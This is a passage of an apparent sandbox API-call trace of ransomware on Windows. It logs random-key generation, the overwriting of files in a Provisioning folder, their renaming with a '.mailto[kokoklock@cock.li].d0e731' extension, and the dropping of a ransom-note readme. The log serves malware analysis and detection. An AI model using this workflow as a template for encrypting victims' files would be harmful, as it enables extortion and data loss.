Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x420cd69f [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x8fa6aeac [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0xe02ad364 [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x753dce50 [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x4bb3c6f2 [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x1aab42aa [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0xc6814a1d [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0xfc94157c [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x5fc2c7d4 [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0xe493ebaf [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0xfc060231 [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x20ad0b38 [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x9db3fc6 [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x191c9510 [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x74fcf0b5 [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x9bf6c32e [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x5251583 [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x340e8e79 [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x98168579 [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x9ce8e7d5 [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x23641612 [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0xcfe2539f [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x19a9a357 [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x4a0937ef [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x864b5a63 [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0xa8d936db [0082.009] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x335fb6c [0082.009] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0xfd9a6cc8 [0082.009] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x7657c121 [0082.009] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0x8c1ee53d [0082.023] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0082.023] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb00) returned 1 [0082.023] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0082.023] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0082.023] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca60 [0082.023] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca60) returned 1 [0082.023] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.023] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.023] ReadFile (in: hFile=0x454, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x59f, lpNumberOfBytesRead=0x26abf9a0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x26abf9a0*=0x59f, lpOverlapped=0x0) returned 1 [0082.023] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26abf968 | out: lpNewFilePointer=0x0) returned 1 [0082.023] WriteFile (in: hFile=0x454, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x59f, lpNumberOfBytesWritten=0x26abf99c, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x26abf99c*=0x59f, lpOverlapped=0x0) returned 1 [0082.024] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c998 [0082.024] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc18 [0082.024] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0082.024] WriteFile (in: hFile=0x454, lpBuffer=0x342c998*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26abf998, lpOverlapped=0x0 | out: lpBuffer=0x342c998*, lpNumberOfBytesWritten=0x26abf998*=0x20, lpOverlapped=0x0) returned 1 [0082.024] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c998) returned 1 [0082.024] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.024] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.024] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0082.024] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0082.024] WriteFile (in: hFile=0x454, lpBuffer=0x342cc68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26abf9c4, lpOverlapped=0x0 | out: lpBuffer=0x342cc68*, lpNumberOfBytesWritten=0x26abf9c4*=0x8, lpOverlapped=0x0) returned 1 [0082.024] WriteFile (in: hFile=0x454, lpBuffer=0x26abf9dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26abf9c4, lpOverlapped=0x0 | out: lpBuffer=0x26abf9dc*, lpNumberOfBytesWritten=0x26abf9c4*=0x4, lpOverlapped=0x0) returned 1 [0082.024] WriteFile (in: hFile=0x454, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26abf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x26abf9c4*=0x4, lpOverlapped=0x0) returned 1 [0082.024] WriteFile (in: hFile=0x454, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x26abf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x26abf9c4*=0x6c, lpOverlapped=0x0) returned 1 [0082.024] WriteFile (in: hFile=0x454, lpBuffer=0x342c8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26abf9c4, lpOverlapped=0x0 | out: lpBuffer=0x342c8a8*, lpNumberOfBytesWritten=0x26abf9c4*=0x20, lpOverlapped=0x0) returned 1 [0082.024] WriteFile (in: hFile=0x454, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26abf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x26abf9c4*=0x4, lpOverlapped=0x0) returned 1 [0082.025] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0082.025] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca10) returned 1 [0082.025] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0082.025] CloseHandle (hObject=0x454) returned 1 [0082.025] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x342a268 [0082.025] wcscpy (in: _Dest=0x342a268, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" [0082.025] wcscat (in: _Dest=0x342a268, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0082.025] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.026] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.026] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a268) returned 1 [0082.026] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml", dwFileAttributes=0x20) returned 0 [0082.026] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6ab8 [0082.026] wcscpy (in: _Dest=0x33f6ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\" [0082.026] wcscat (in: _Dest=0x33f6ab8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\D0E731-Readme.txt" [0082.026] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\d0e731-readme.txt")) returned 0xffffffff [0082.026] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0082.029] WriteFile (in: hFile=0x454, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x26abf9c0, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x26abf9c0*=0x481, lpOverlapped=0x0) returned 1 [0082.030] CloseHandle (hObject=0x454) returned 1 [0082.030] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6ab8) returned 1 [0082.030] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3435528) returned 1 [0082.030] RtlExitUserThread (Status=0x1) Thread: id = 1084 os_tid = 0x17f4 [0082.031] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml")) returned 0x20 [0082.031] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 1 [0082.032] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0082.032] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x26b3f9bc | out: lpFileSize=0x26b3f9bc*=271) returned 1 [0082.032] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.032] ReadFile (in: hFile=0x454, lpBuffer=0x26b3f990, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26b3f98c, lpOverlapped=0x0 | out: lpBuffer=0x26b3f990*, lpNumberOfBytesRead=0x26b3f98c*=0x4, lpOverlapped=0x0) returned 1 [0082.033] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.033] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb00 [0082.033] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8a8 [0082.033] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c998 [0082.033] NtQuerySystemTime (in: CurrentTime=0x26b3f968 | out: CurrentTime=0x26b3f968*=132121176399278416) returned 0x0 [0082.033] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0x7c355900 [0082.033] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0xf7f65160 [0082.033] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0x75dc9522 [0082.033] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0xa6cb100b [0082.033] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0xef8aeff0 [0082.033] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0x2efb927 [0082.033] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0xa502e033 [0082.033] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0x7081944c [0082.033] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0xb599848b [0082.033] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0x3ed2b135 [0082.033] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0x89fb1a9f [0082.033] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0xceeee31e [0082.033] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0xe8b0fc58 [0082.033] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0x834ce30 [0082.034] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0x32ed8b7e [0082.034] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0x59ca7afb [0082.034] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0xe8c18a7a [0082.034] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0x7458344c [0082.034] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0xf9bbd862 [0082.034] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0xb9d43b0a [0082.034] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0xda5aa174 [0082.034] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0x9891ea02 [0082.034] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0x5fc83488 [0082.034] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0xc51b0edb [0082.034] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0xe28aa1a2 [0082.034] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0x7b4c252c [0082.034] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0x2d4e48e6 [0082.034] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0xcfd05814 [0082.034] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0x3bccbe4e [0082.034] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0x79694083 [0082.034] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0x40413954 [0082.034] RtlRandom (in: Seed=0x26b3f974 | out: Seed=0x26b3f974) returned 0xa0193e92 [0082.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0082.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb00) returned 1 [0082.225] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0082.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0082.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca60 [0082.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca60) returned 1 [0082.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.226] ReadFile (in: hFile=0x454, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x26b3f968, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x26b3f968*=0x10f, lpOverlapped=0x0) returned 1 [0082.226] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26b3f930 | out: lpNewFilePointer=0x0) returned 1 [0082.226] WriteFile (in: hFile=0x454, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x26b3f964, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x26b3f964*=0x10f, lpOverlapped=0x0) returned 1 [0082.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c9c0 [0082.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc18 [0082.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0082.226] WriteFile (in: hFile=0x454, lpBuffer=0x342c9c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26b3f960, lpOverlapped=0x0 | out: lpBuffer=0x342c9c0*, lpNumberOfBytesWritten=0x26b3f960*=0x20, lpOverlapped=0x0) returned 1 [0082.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c9c0) returned 1 [0082.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0082.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0082.226] WriteFile (in: hFile=0x454, lpBuffer=0x342cc68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26b3f98c, lpOverlapped=0x0 | out: lpBuffer=0x342cc68*, lpNumberOfBytesWritten=0x26b3f98c*=0x8, lpOverlapped=0x0) returned 1 [0082.227] WriteFile (in: hFile=0x454, lpBuffer=0x26b3f9a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26b3f98c, lpOverlapped=0x0 | out: lpBuffer=0x26b3f9a4*, lpNumberOfBytesWritten=0x26b3f98c*=0x4, lpOverlapped=0x0) returned 1 [0082.227] WriteFile (in: hFile=0x454, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26b3f98c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x26b3f98c*=0x4, lpOverlapped=0x0) returned 1 [0082.227] WriteFile (in: hFile=0x454, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x26b3f98c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x26b3f98c*=0x6c, lpOverlapped=0x0) returned 1 [0082.227] WriteFile (in: hFile=0x454, lpBuffer=0x342c8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26b3f98c, lpOverlapped=0x0 | out: lpBuffer=0x342c8a8*, lpNumberOfBytesWritten=0x26b3f98c*=0x20, lpOverlapped=0x0) returned 1 [0082.227] WriteFile (in: hFile=0x454, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26b3f98c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x26b3f98c*=0x4, lpOverlapped=0x0) returned 1 [0082.227] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0082.227] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca10) returned 1 [0082.227] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0082.227] CloseHandle (hObject=0x454) returned 1 [0082.227] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x342a268 [0082.227] wcscpy (in: _Dest=0x342a268, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" [0082.227] wcscat (in: _Dest=0x342a268, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0082.227] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.228] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.228] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a268) returned 1 [0082.228] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 0 [0082.229] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6ab8 [0082.229] wcscpy (in: _Dest=0x33f6ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\" [0082.229] wcscat (in: _Dest=0x33f6ab8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\D0E731-Readme.txt" [0082.229] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\d0e731-readme.txt")) returned 0x20 [0082.229] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6ab8) returned 1 [0082.229] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3477000) returned 1 [0082.229] RtlExitUserThread (Status=0x1) Thread: id = 1085 os_tid = 0x17f8 [0082.230] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x3428138 [0082.231] wcscpy (in: _Dest=0x3428138, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov" [0082.231] wcscat (in: _Dest=0x3428138, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\" [0082.231] wcscat (in: _Dest=0x3428138, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\*" [0082.231] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34aad40 [0082.231] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\*", lpFindFileData=0x34aad40 | out: lpFindFileData=0x34aad40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", 